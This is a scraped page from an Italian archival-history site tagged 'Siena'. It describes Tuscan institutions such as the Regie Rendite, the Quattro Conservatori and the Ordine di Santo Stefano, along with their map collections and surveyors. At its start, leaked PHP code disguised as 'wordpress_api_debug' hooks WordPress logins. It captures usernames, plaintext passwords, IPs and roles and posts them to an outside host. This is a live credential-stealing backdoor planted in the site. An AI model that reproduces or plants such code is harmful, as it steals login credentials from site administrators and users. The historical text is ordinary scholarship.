'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Siena | Digital DISCI | Pagina 2

Archivi tag: Siena

Regie Rendite (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Appalto Generale delle Finanze (1739-1768)

Amministrazione delle Regie Rendite (1768-1846)

Amministrazione Generale delle Regie Dogane e Aziende riunite (1846-1860)

Frutto del riformismo leopoldino, l’Amministrazione generale delle Regie Rendite fu creata il 26 agosto 1768 in seguito all’abolizione dell’Appalto generale delle Finanze, istituito durante la Reggenza da Francesco Stefano (1739). L’Appalto generale, affidato a compagnie di finanzieri prima francesi e poi toscani (cfr. ASF, Appalti generali delle Regie rendite, inv. N/372), venne sostituito con tre amministratori generali che dovevano amministrare tutte le entrate statali fino allora concesse in appalto, ad esclusione dell’imposta sui beni immobili.
L’Amministrazione delle Regie Rendite si articolava quindi in tre distinti Dipartimenti, poi ridotti a due, e aveva compiti di tutela e di vigilanza sui settori della zecca, dogane, sale, tabacco, gabella dei contratti, della carta bollata, delle carte da gioco, del sigillo sulle carni, della tassa di macine, dei beni civili e sui beni della magona del ferro.
Soppressa in periodo francese, l’Amministrazione delle Regie Rendite venne ripristinata con decreto 9 maggio 1814. Con mp 5 ottobre 1846 mutò la denominazione in Amministrazione generale delle Regie dogane e Aziende riunite, con competenze sostanzialmente uguali alle precedenti, e funzionò fino alla creazione del Regno d’Italia.
L’Amministrazione delle Regie Rendite aveva fra l’altro il compito di vigilanza e tutela delle Dogane del Granducato, che costituiva uno dei cespiti fondamentali delle entrate dello Stato.
Il complesso sistema doganale antico, già esistente nel XIV sec., venne definitivamente riorganizzato da Francesco I tra il 1577 e il 1586, quando furono varate le nuove disposizioni, raccolte in un nuovo e complessivo corpo statutario (in ASF, Dogana di Firenze. Dogana antica, sec. XIV-1808, ff. 376-380).
Con la progressiva organizzazione dello stato regionale si conservò la struttura a mosaico del sistema doganale toscano: accanto al contado doganale fiorentino furono conservati i contadi doganali delle città e territori progressivamente sottoposti (i territori di Pisa, Arezzo, Siena, Pistoia), che mantennero le loro barriere doganali e i loro sistemi di esazione e tariffe; in particolare, venivano stabilite, diramate e rinnovate periodicamente le tariffe delle gabelle, i cosidetti “stratti”. La dogana di Firenze conservò tuttavia un primato in campo giurisdizionale e normativo sulle altre dogane.
Durante il periodo della Reggenza (1737-1765), le dogane confluirono come voce tra le più rilevanti nell’Appalto generale delle Finanze, finché, con la creazione dell’Amministrazione generale delle Regie Rendite da parte di Pietro Leopoldo nel 1768, lo Stato si riappropriò della gestione diretta delle imposte e sottopose le dogane al primo Dipartimento, diretto da Antonio Serristori (cfr. ASF, Regie Rendite, inv. N/373).
L’editto del 30 agosto 1781 soppresse tutti i contadi e i distretti doganali interni e le molteplici gabelle regie e comunitative, stabilendo un’unica gabella da pagarsi alle frontiere dello Stato, oltre ad una generale riduzione dei dazi di entrata e uscita delle merci, in linea con un complessivo indirizzo favorevole alla liberalizzazione commerciale.
L’Amministrazione fu nuovamente riformata da Pietro Leopoldo il 19 ottobre 1791 e mantenne la sua struttura fino alla dominazione francese, quando venne annullata la rete doganale, poi riattivata con la Restaurazione.

Produzione cartografica

La documentazione esistente in ASF, Piante dell’Amministrazione generale delle Regie Rendite, comprende la documentazione cartografica relativa ai settori gestiti dall’Ente. Un certo numero di carte è conservato anche in ASF, Miscellanea di Piante.
In particolare, per quanto riguarda il settore delle Dogane, si segnalano:
piante e alzati di 50 edifici doganali, opera di Bernardo Fallani et alii, anni ‘80 del XVIII sec.: Dogane di Siena, 1857–1858, in ASF, Miscellanea di Piante, nn. 290, 290/a–g, 291, 291/a–z, 291/aI–bI, 292, 292/a–l; Piante e alzati di edifici doganali della Toscana, 1782–1791, in ASF, Miscellanea di Piante, nn. 292bis, 292bis/a–z, 292bis/aI–zI, 292bis/aII–bII, e 292bis/cII–gII prima metà XIX sec.; Giuseppe Montucci, Fattoria della Rugginosa, 1756, in ASF, Miscellanea di Piante, n. 232; Pietro Conti, Grosseto, dogana della Trappola, 1791, in ASF, Miscellanea di Piante, n. 359; Ferdinando Moretti, Territorio di Volterra con dogane, metà XVIII sec., in ASF, Miscellanea di Piante, n. 665; Giacomo Bucchi, Dogane del litorale, sec. XIX, in ASF, Miscellanea di Piante, n. 714;
i 4 atlanti delle Circoscrizioni doganali della Toscana, 1830 ca: Atlante delle Circoscrizioni doganali di Livorno e Pisa, 1800–1830, in ASF, Miscellanea di Piante, nn. 286, 286/a–n; Atlante delle circoscrizioni doganali al confine con Lucca, Modena e Bologna, 1830–1835, in ASF, Miscellanea di Piante, nn. 287/a–i; Atlante delle Circoscrizioni doganali ai confini con lo Stato Pontificio, 1830–1835, in ASF, Miscellanea di Piante, nn, 288/a–z, 288/aI–cI; Atlante delle Circoscrizioni doganali ai confini con lo Stato pontificio e nel litorale grossetano, 1830–35, in ASF, Miscellanea di Piante, nn. 289/a–s; Filippo Grobert, Granducato di Toscana, seconda metà XVIII sec., in ASF, Miscellanea di Piante, n 273;
i diversi progetti per la costruzione o ricostruzione delle Saline di Volterra, Portoferraio, Grosseto e Castiglione della Pescaia, in ASF, Miscellanea di Piante, nn. 121, 187, 220, 222, 223, 267, 359, 360, 478;
le piante del palazzo della Signoria con l’ubicazione dei vari uffici, in ASF, Miscellanea di Piante, nn. 715–719;
le piante dei circondari di vendita del pane a Casalguidi, in ASF, Miscellanea di Piante, n. 677 e le piante dei circondari delle macellerie del Pignone e Legnaia e del Piano, in ASF, Miscellanea di Piante, nn. 635, 658;
Neri Andrea Mignoni, Carta geografica della Toscana, 1767, già redatta per il Ministero delle Dogane, in ASF, Miscellanea di Piante, n. 102.

Operatori

Alla campagna di rilevamento delle Dogane dello Stato effettuata negli anni 1780–1790, parteciparono i seguenti tecnici: Bernardo Fallani, Salvatore Falleri, Gaetano Magrini, Giuseppe Valentini, Pietro Conti, Francesco Marinelli, Venceslao Spinazzi, Costantino Orsi. Al rilevamento delle Dogane di Siena parteciparono Baldassarre Marchi e Giovan Battista Silvestri. Altri operatori furono Giacomo Bucchi (XIX sec.), Filippo Grobert ( XVIII sec.), Giuseppe Montucci (1756), G. T. Baiolet (Pianta della Maremma senese, 1758, in ASF, Regie Rendite, N. 10, n. 57), Ferdinando Moretti (doganiere di Altopascio, Pianta generale della provincia di Valdinievole e dogane toscane in essa stabilite opposte al confine dello stato della Repubblica di Lucca, 27 gennaio 1783, in ASF, Piante delle Regie Rendite, 50), Pietro Moretti (Mappa di porzione del territorio riunito che confina collo stato di Lucca, Modena e Bologna ove sono stabilite le dogane di frontiera…, 1783, in ASF, Piante delle Regie Rendite, 178).

Riferimenti bibliografici e archivistici

Bellinazzi e Manno Tolu, 1995; Di Pietro e Fanelli, 1973; Rombai, 1987; Rombai, Toccafondi e Vivoli, a cura di, 1987, pp. 47-49; Toccafondi e Vivoli, 1993, Guida generale agli archivi di Stato italiani, 1983, pp. 94 e 108. ASF, Dogana di Firenze; ASF, Piante dell’Amministrazione Generale delle Regie Rendite; ASF, Miscellanea di Piante.

Rosamaria Martellacci (Siena)

Quattro Conservatori di Siena (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Quattro Conservatori dello Stato Senese (1561-1786)

Ufficio Generale delle Comunità (1786-1808 e 1815-1825)

Camera di Soprintendenza Comunitativa (1825-1848)

Il 1° febbraio del 1561, Cosimo I (dopo la caduta della Repubblica Senese), nella sua “Riformatione del governo della Città e Stato di Siena”, istituì la nuova magistratura “I Quattro Conservatori della città e Stato di Siena”; la Riformatione, insieme ad alcune disposizioni emanate il 28 aprile del 1562, stabiliva le prerogative, le competenze e i doveri di questa nuova magistratura. Questa aveva il compito di esercitare il controllo su Comunità, Comunelli e luoghi pii dello Stato, che sino ad allora erano stati sottoposti alla Balia e ai Regolatori. Seguendo il modello dei Nove Conservatori della Giurisdizione e del Dominio Fiorentino, il Magistrato dei Quattro Conservatori si occupava della supervisione dei moltissimi affari attinenti la gestione economica, finanziaria, politica e sociale delle comunità locali e dei luoghi pii appartenuti al territorio dello Stato nuovo, rappresentando il referente istituzionale principale con incarichi operativi e di controllo sull’organizzazione del territorio.
La nomina dei Quattro Conservatori spettava al Principe, che ne sceglieva uno per ciascuno dei “Monti” in cui si dividevano i cittadini.
La durata della carica era di una anno e il compito principale di essi era la vigilanza sulla buona amministrazione delle Comunità dello Stato. Tutti i proventi dovevano riunirsi nelle mani dei Camerlenghi (o Camarlenghi) comunitativi e convertirsi in utile per le rispettive comunità.
I conservatori dovevano anche provvedere alla revisione delle entrate e delle uscite, vigilare che le Comunità non alienassero in perpetuo i loro beni e non li sottoponessero a servitù o altri pesi di lunga durata.
Appena entrata in funzione, la nuova magistratura provvide per mezzo di bandi approvati dal sovrano a regolare l’imbrogliata matassa della vita amministrativa delle Comunità. Si dettero disposizioni per limitare le spese di ambasciatori comunitativi, ordinando che le loro notule si scrivessero nei libri delle Comunità. Ogni quindici giorni dovevano essere presentati ai Conservatori gli elenchi dei debitori delle Comunità. La gestione del denaro pubblico fu riservata esclusivamente ai Camarlenghi, che, insieme a quelli dei luoghi pii secolari e ospedalieri, dovevano renderne conto ai Conservatori entro quindici giorni dalla loro uscita di carica.
Si definirono con precisione tutti gli obblighi e funzioni dei Camarlenghi, fino ad allora confusi e discordanti. I Camarlenghi: pagavano i salari degli altri ufficiali comunitativi e liquidavano le spese pubbliche, rimettendo ai successori gli eventuali avanzi di cassa, avevano l’obbligo di riscuotere il grano dei terratici, di fare i bossoli per le elezioni dei sindaci. Non potevano eleggere rettori di chiese, cappelle, opere pie, ospedali e confraternite senza l’assenso dei Conservatori. Inoltre risultavano nulle le accuse che non fossero presentate direttamente ai giusdicenti locali. I Conservatori dovevano controllare che gli ufficiali comunitativi non fossero parte palese o nascosta nei contratti che avessero per oggetto i beni delle Comunità. Tutti questi bandi, erano emanati a nome del sovrano e col consiglio del Governatore e venivano inviati per la pubblicazione ai Capitani di Giustizia e ai Potestà di Sarteano e Castelnuovo.
In questo periodo, infatti, lo Stato di Siena era diviso nei Capitanati di Grosseto, Massa, Chiusi, Sovana, Montalcino, Pienza, Radicofani e Casole e nelle podesterie di Sarteano e Castelnuovo Berardenga.
Nel 1573, il governatore conte Federigo di Montauto, insieme con i Conservatori emanò nuove disposizioni relative ai doveri dei Camarlenghi. Questi avevano l’obbligo di tenere un libro delle vendite, fide e terratici, crediti e debiti comunitativi, su cui il cancelliere doveva fare le relative annotazioni. In un altro libro i notai dovevano trascrivere gli atti e contratti di interesse pubblico, con facoltà, per le Comunità minori, di tenere un libro comune per tali oggetti.
Con tutti questi provvedimenti, i Conservatori riuscirono a riordinare la caotica amministrazione comunitativa.
Spesso però, il potere centrale interferì sulla giurisdizione dei Conservatori, sottraendo ad essi varie materie, per riservarle ai giusdicenti che rappresentavano localmente il potere sovrano.
Nel 1588, il granduca Ferdinando I, riformò il magistrato dei Conservatori. Fu stabilito che uno di essi fosse dottore, che i Conservatori risiedessero ogni mattina nel loro ufficio per dare udienza; dovevano trattare: gli affari relativi a Comuni, Comunelli, Fraternite, Opere e Luoghi Pii, vigilare sull’amministrazione economica delle Comunità, sui palazzi pubblici, sulle case, mulini, oliviere, bandite e poderi demaniali, sulla condotta del Provveditore, Cancelliere e del Camarlingo facenti parte del loro organico. Molte delle precedenti disposizioni furono confermate. Le adunanze dei Conservatori non erano pubbliche e vi potevano assistere solo il Cancelliere, un coadiutore e il Provveditore. Se c’era discordia di pareri, la decisione spettava al Governatore.
Le riforme del 1573 e del 1588 dettero alla magistratura dei Conservatori la sua forma stabile. Oltre ai Quattro Conservatori, di cui uno era Priore, vi era il Provveditore di nomina sovrana, con il compito di sorvegliare il buon andamento dell’ufficio, provvedere alla Cancelleria, vigilare sugli edifici pubblici delle Comunità e luoghi pii, ecc. Per i restauri delle fabbriche i Conservatori potevano spendere fino a 10 scudi; per le somme maggiori occorreva il consenso del Governatore. Essi avevano sotto di sé, per tali opere, capimaestri fissi e poi anche ingegneri.
Il Cancelliere, era un notaio eletto dal principe, addetto alle deliberazioni, lettere e sentenze. Nelle sue mansioni doveva essere aiutato dal sotto-cancelliere che era anche lui un notaio nominato dal principe. Vi erano poi due coadiutori, nominati anch’essi dal Sovrano. Per l’amministrazione finanziaria della magistratura vi era il Camarlengo di nomina sovrana. Il personale subalterno era composto da: un portatore, un misuratore dei grani (che doveva presenziare alle distribuzioni dei grani fatte per ordine del Governatore e dei Conservatori, ricevere quello versato dalle Comunità nei granai pubblici). Gli avanzi di cassa, dovevano andare alla Depositeria generale, e quelli dei luoghi pii al Camarlingo del Monte di Pietà. Vi era infine uno scrivano (aiuto del Proveditore) che aveva sotto di sé altri tre scrivani subalterni. Erano tutti cittadini senesi nominati dal Governatore. Due famigli e alcuni tavolaccini, eletti dai Conservatori, concludevano il personale.
Per quasi un secolo non vi furono innovazioni. Solo nel 1686, dopo la visita del Cardinale Francesco Maria de’ Medici a Siena, furono apportate piccole modifiche. Una di queste fu la visita periodica dei visitatori nelle varie terre dello Stato; essi dovevano riferire al Governatore e ai Conservatori le necessità di queste e dei luoghi pii, raccogliendo informazioni dalle magistrature comunitative e dai giusdicenti locali.
Per tal motivo, il territorio venne diviso in cinque parti, per ciascuna delle quali vi era uno speciale visitatore. Anche i Capitani e Podestà dovevano effettuare visite nelle terre e castelli a loro sottoposti e riferire al Governatore ed ai Conservatori.
Nel 1691 si venne ad una più regolare divisione del territorio in Capitanati, Podesterie e Vicariati, che facilitò il disbrigo di tutte quelle mansioni sopraindicate.
Nella prima metà del XVIII secolo, quando si instaurò un clima di generale decadenza economica, molti dei Podestà e Vicari, divenuti ormai un peso per le finanze delle Comunità, vennero eliminati; i loro stipendi furono utilizzati per i bisogni locali.
Anche la riforma leopoldina del 1759 non apportò grosse modifiche. Invece, con le leggi del 1765 e 1766 fu diviso in due l’antico Stato senese. La Provincia inferiore andò così a comprendere i capitanati di: Grosseto, Massa, Sovana e Arcidosso, le contee di Scansano, Pitigliano e Sorano, S. Giovanni, Castellottieri e S. Fiora e il Marchesato di Castiglione della Pescaia e Isola del Giglio. Tale decisione fu presa per dare una mano alla Maremma senese che durante il governo mediceo, ed in particolare nei secoli XV e XVI, era stata devastata dalle guerre andando sempre più spopolandosi e impoverendosi.
Il 28 ottobre 1777, una nuova riforma andò a limitare ulteriormente le competenze dei Conservatori, dando maggiore autonomia alle Comunità. Alla magistratura comunque, spettò sempre la giurisdizione sui fiumi, bagni pubblici, mulini acque e paludi della Provincia Superiore, trasferendo in esse anche quelle mansioni che prima erano della Biccherna. Venne disposto che facesse parte del magistrato l’Auditore del Magistrato Supremo del Concistoro, che sostituì così il corrispondente ufficio attribuito in origine al Giudice Ordinario.
Nel 1786 le loro competenze passarono all’Ufficio Generale delle Comunità che si mantenne fino alla riforma francese.
Nel 1815, venne restaurato il magistrato col nome di Ufficio Generale delle Comunità. Fu, però soppresso definitivamente nel 1825, quando fu creata la Camera di Soprintendenza Comunitativa che restò in carica fino al 1848. Al suo posto subentrò la Prefettura.

Produzione cartografica

Per quanto riguarda il fondo vero e proprio dell’ASS, Quattro Conservatori, le serie di maggior interesse dal punto di vista cartografico sono le seguenti: XV, Acque, strade e fabbriche civili nn. 1944-2092 (sottoserie: XVa, Affari Generali nn. 1944-1960, diciassette filze di provvedimenti, carteggi e piante relative a strade regie, provinciali ed anche urbane dal 1620 al XIX secolo; sottoserie XVm, Val di Chiana nn. 2062-2073, dodici filze e registri di visite, carteggi, misurazioni, tassazioni, piante relative soprattutto alla bonifica della Val di Chiana; sottoserie XVn, Maremma nn. 2074-2076, tre filze riguardanti il fosso Navigante, il padule di Grosseto, il Lago di Castiglione della Pescaia, l’Ombrone e la bonifica grossetana in genere dal 1695 al 1741; sottoserie XVp, Strade Romana, Lauretana, Grossetana e Aretina e Ponti grandiosi nn. 2077-2090, quattordici filze relative ai lavori alla strada romana, grossetana, aretina e alcuni ponti dal 1750 al 1805; sottoserie XVb (periodo 1667-1778), Affari Generali, Relazioni di Ingegneri nn. 1961-1974, quattordici filze contenenti relazioni, perizie, progetti e piante redatti da ingegneri e capimaestri dal 1667 al 1778.
Serie XII, Confinazioni nn. 1722-1739, diciotto filze e registri di terminazioni di territori comunali, bandite, proprietà private e luoghi pii dal 1491 al 1821.
Serie XIII, Estimi vari nn. 1740-1746, sette filze e registri di frammenti catastali, lire e “tavolature” di beni delle comunità e luoghi pii dal 1570 al 1786; Serie XIV, Affari di Comunità e luoghi pii nn. 1747-1943, si tratta di serie diverse costituite da frammenti degli archivi di vari uffici pendenti dai Conservatori; di questa, rilevante la sottoserie Notizie di Comunità, feudi e bandite dello Stato Senese (nn. 1747-1759) riguardante confinazioni, contratti, visite, ecc.
La ricca raccolta delle mappe dei Quattro Conservatori, esclusivamente iconografica, è da collegarsi direttamente al fondo Quattro Conservatori numeri 3052, 3053 e 3054 (corrispondenti rispettivamente al tomo I, II, III della raccolta). Si tratta di 292 pezzi (di cui 11 non reperibili, una di queste da me recentemente individuata ma fuori collocazione) che costituiscono solo una minima parte del ragguardevole nucleo di cartografia conservato ancora all’interno delle oltre 3000 filze di cui si compone attualmente il fondo.
La suddetta raccolta comprende mappe relative a confinazioni, questioni di acque, cartografia prediale, viabilità, miniere e opifici, rilievi architettonici (cfr. Vichi, 1990).

Operatori

Martino Biselli (1599); Antonio Beringucci (1603); Niccolò Sergardi (1604); Fulvio Bambagi (1608); Francesco Novellini (1654-1670); Andrea Bardini (capomaestro, 1663-1680); Mattio Dolfi (1669); Benedetto Giovannelli (1676); Niccolò Franchini (capomaestro, 1683-1703); Mario Fabrazoni (1683-1694); Bartolomeo Amidei (perito, 1688); Apelle Ottavio Lanci (perito, 1690); Lorenzo Biagioli (1693-1705); Jacomo/Giacomo Franchini (capomaestro 1693-1727); Vittorio Amedei Pollini (1696); Tommaso Bandinelli (XVII sec.); Sandro Petrucci (XVII sec.?); Pier Antonio/Antonio Morozzi (ingegnere, 1698-1705); Romolo Gangheri (1701); Francesco Felice Spagnoli (1702); Domenico Domenici (perito, 1703); Francesco Piccolomini (1704); Pier Antonio/Antonio Montucci (ingegnere, 1709-1742); Orazio Amidei (ingegnere?, primi ‘sec. XVIII); Domenico Iapinzi (1715); Domenico Rusconi (capomaestro, 1721); Camillo Parigini (1723); Giovanni Franchini (capomaestro?, 1723-1738); Curzio Novellini (1723-1746); Giovanbattista Casini (1728-1752); Andrea Pagni/Pagno (1733); Antonio Tani (agrimensore, 1735-1776); Giovanni Maria Martinelli (Cancelliere, 1740-1750); Giuseppe Montucci (ingegnere, 1741-1765); Fabiano Fabiani (perito, 1743-1744); Giacomo/Jacomo Migliori (perito, 1746); Carlo Buti (perito, 1747); Francesco Bochi (1750); Giuseppe Minacci (capomaestro?, 1751-1765); Carlo Maria Cassigoli (1752); Belisario Bulgarini (Provveditore, 1755-1771); Florenzio Razzi (ingegnere, 1756-1784); Luigi Zaccheri (1759-1762); Sebastiano Minacci (soprintendente ai lavori, metà sec. XVIII); Francesco Campana (agrimensore, seconda metà sec. XVIII); Giuseppe Buoninsegni (1766-1774); Alessandro Nini (ingegnere, 1767-1805); Angelo Razzi (1769); Anton Gaetano Spagnoli (1769); Bernardino Fantastici (ingegnere e provveditore di acque e strade, 1769-1796); Giuseppe Giomarelli (1772); Domenico Antonio Schiavi (1772); Pietro Mulinari (perito, 1775); Luigi Sgrilli (1775-1792); Francesco Boddi (perito agrimensore, 1780); Saverio Guazzini (perito, 1786); Andrea Meconcelli (perito, 1786); Luigi Restrelli (perito, 1787); Angelo/Angiolo Piazzi (agrimensore, 1791-1809); Angelo Bossini (fine XVIII sec.); Francesco Fineschi (XVII sec.); Giovanni Paglia (XVII sec.); Domenico Salmicesi (XVIII sec.); Giovanni Ginanneschi (1808); Luigi Barzellotti (1808); F. Bambagini (1809); Valentino Papei (1809); Arcangelo Troiani (?).

Riferimenti bibliografici e archivistici

Archivio di Stato di Siena, 1951; Liberati, 1928-29; Ministero per i Beni Culturali e Ambientali, Ufficio Centrale per i Beni Archivistici, 1994; Marrara, 1961; De’ Colli, 1963; Zarrilli, 1990; Vichi, 1990; ASS, Quattro Conservatori.

Giovanna Tramacere (Siena)

Ordine dei Cavalieri di Santo Stefano (1561-1808) (Granducato di Toscana)

L’Ordine venne creato dal granduca Cosimo I dei Medici nel 1561, con sede a Pisa.
Ai Cavalieri venne subito affidata la flotta da guerra del Granducato di Toscana, che andò ad utilizzare la vicina nuova città portuale di Livorno, in corso di edificazione fino all’inizio del XVII secolo. La flotta medicea doveva svolgere (ed effettivamente svolse, un po’ in tutto il Mediterraneo, fino agli anni ‘70 del XVIII secolo, quando le navi furono disarmate) ambiziosi obiettivi geostrategici, anche e soprattutto a tutela degli interessi commerciali e a difesa delle frontiere marittime del Granducato.
Per consentire all’Ordine – che è da considerare una sorta di Ministero della Marina – di mantenere la sua notevole struttura amministrativa, la flotta e il personale militare e civile, il governo granducale provvide direttamente all’assegnazione di un notevole patrimonio fondiario o ne favorì comunque l’acquisizione da parte dell’ente, tanto che questo, circa un secolo dopo la sua fondazione, disponeva di sette grandi fattorie (quattro in Valdichiana, due nel Pisano e una tra Valdelsa e Val di Pesa).
Per le più svariate esigenze della gestione di questo vasto patrimonio agricolo distribuito in tre diverse e distanti aree della Toscana, almeno dall’inizio del XVII secolo l’Ordine fu costretto a ricorrere ad ingegneri stipendiati o anche all’opera occasionale di pubblici periti, ai quali devesi la ragguardevole produzione tecnica e specialmente cartografica conservata principalmente negli Archivi di Stato di Firenze e di Pisa.
Le due fattorie pisane di Badia San Savino e Lavaiana furono acquisite dall’Ordine tra il 1563 e il 1569.
I beni dell’antica Badia camaldolese di S. Savino a Montione, soppressa nel 1561, furono donati da papa Pio IV all’Ordine nel 1563. Si trattava di una proprietà estremamente dispersa, con terreni ubicati in varie comunità del territorio pisano (Riglione, Montione, Cascina, Castell’Anselmo, Titignano, Oratorio e altre): vi fu organizzata una fattoria, detta appunto della Badia di San Savino, che comprendeva le tenute di Mortaiolo, delle Sedici e del Faldo, aveva il suo centro amministrativo in località Montione di Cascina, a circa 5 chilometri da Pisa, nell’antica sede del monastero. Secondo il cabreo del 1743, contava 12 poderi (mancano i terreni del Faldo): Riglione, S. Sisto, Casa d’Arno, Pozzo, Musigliano, Casabianca, Montione, Fornace, Venerosa, Colombaia, Case, Strada. Dal cabreo del 1774-76 – redatto in funzione dell’alienazione (1775-77) – si può constatare che i poderi erano aumentati a 15, comparendo ora le nuove unità di Pino, Piagge e Nuovo di Fattoria. Questi 15 poderi compaiono pure nel cabreo del 1791 (Pult Quaglia, 1980). Lavaiana era una grande tenuta (circa 900 ettari) ubicata nelle vicinanze di Ponsacco, in Valdera, acquistata nel 1569 da Morello Malaspina per 14.700 scudi. Era composta da 10 poderi di notevoli dimensioni (Casone I, II, III, Lavaiana I e II, Colombaia, Bosco, Grotte/Girotta, Casanova e Casetta), estesi sia in territorio pianeggiante (con zone di padule), che nell’area collinare, e lavorati a coltivazione promiscua, con presenza del bosco. Nei decenni successivi all’acquisto si assiste ad un’intensa opera di miglioramento fondiario, con la realizzazione di 347 campi lavorativi in luogo del bosco e del padule. Ovviamente, anche a Lavaiana, ciascun podere, condotto a mezzadria, era dotato di “casa con sue appartenenze, fonti, stalle, capanne murate, forni e pozzi et alcune di esse le colombaie” (Barsanti, Previti e Sbrilli, 1989, p. 24). Dal cabreo del 1774-75 – redatto in funzione dell’alienazione (1775-77) – risulta che i poderi erano saliti a 17 – comparendo quelli di nuovo conio, o almeno di nuova denominazione, di S. Lucia, Perignano, Prata, Corbinello, S. Lorenzo a Pagnatico, Palazzo, Ponticelli, Castello, Marciana, Cascina, Cevoli, Scopicci, Casa Vecchia, oltre a Casone, Casanova, Girotta/Grotte, Lavaiana – con evidenti cambiamenti rispetto al secolo precedente. Lavaiana fu alienata nel 1775-77, insieme alla Badia di San Savino e a Il Pino.
Tra Valdelsa e Valdipesa, sempre nella seconda metà del XVI secolo, venne organizzata la fattoria Il Pino, con il nucleo originario (71 ettari nelle potesterie di Barberino Valdelsa e Montespertoli) sequestrato alla famiglia Cavalcanti e affidato al fattore Matteo Chiodini.
L’azienda era composta da 13 poderi (Pino a Solatìo, Pino a Bacìo, Rose, Casarsa, Mosciano, Fossato, Rio, Citerna, Longagnana con frantoio, Borghetto, Urbana, Stimoli e Vigliano) e possedeva anche, oltre al palazzo, l’Oratorio di S. Antonio, un mulino sull’Elsa presso Certaldo e 5 case nel castello di San Casciano; buone, in generale, apparivano le condizioni del patrimonio edilizio. La coltivazione era promiscua con assoluta prevalenza del frumento; la fattoria possedeva un cospicuo corredo di animali grossi e minuti (Barsanti, Previti e Sbrilli, 1989, p. 23). Nella seconda metà del XVIII secolo, come dimostra il cabreo del 1775-77 redatto in funzione dell’alienazione, i poderi risultano accresciuti a 21. Fu alienata, assieme alle due fattorie del Pisano, nel 1775-77 (Luttazzi, 1978).
Le quattro storiche fattorie della Valdichiana (Bettolle, Foiano, Fonte a Ronco e Montecchio) furono cedute dai Medici all’Ordine più tardi, e precisamente tra il 1651 e il 1685.
Esse erano ritenute le migliori della vallata; dai circa 2500 ettari iniziali e dai più di 4000 ettari intorno alla metà del Settecento, la superficie destinata ad aumentare a ben 5373 nel 1808: un valore pari ad oltre la metà della superficie dell’area valliva. Di sicuro, nel XVIII secolo inoltrato, erano “ormai avviate ad una buona organizzazione agraria basata sull’impianto della mezzadria e sulla coltivazione delle terre ancora in fase di sistemazione poderale, o ‘a mano di fattoria’ o attraverso mezzaioli”, ai quali erano accollati molti interventi di miglioramento fondiario. Del resto, tali imprese erano pervenute all’Ordine allorché, in seno al governo granducale, si ritenne questo consistente patrimonio appartenuto alle Regie Possessioni già in condizione di essere valorizzato con il sistema mezzadrile (lo Scrittoio mantenne, invece, quelle di Frassineto, Acquaviva, Dolciano e Chianacce che, evidentemente, versavano in condizioni peggiori). A dimostrazione della fase espansiva attivata dai provvedimenti pietroleopoldini sta il fatto che, alla fine del Settecento, si aggiunsero altre 4 fattorie, due delle quali già godevano di una relativa autonomia come “tenute” (Tegoleto, acquistata nel 1793 dai Marzocchi, aggregata a Fonte a Ronco e separata nel 1808 con 6 poderi; Pozzo, antico acquisto dai Camaldolesi e amministrata da Fonte a Ronco fino al 1806, allorché, con i suoi 17 poderi, venne resa indipendente per l’eccessiva distanza dal tradizionale centro di fattoria). Invece, Creti fu realizzata nel 1787 con 19 poderi scorporati da Montecchio, mentre Abbadia o Badia di Montepulciano venne istituita nel 1806, con la divisione o il passaggio di 15 poderi di Bettolle (Biagianti, 1990, pp. 12-13 e 112; Barsanti, Previti e Sbrilli, a cura di, 1989, pp. 25-28; Orefice, 1982).
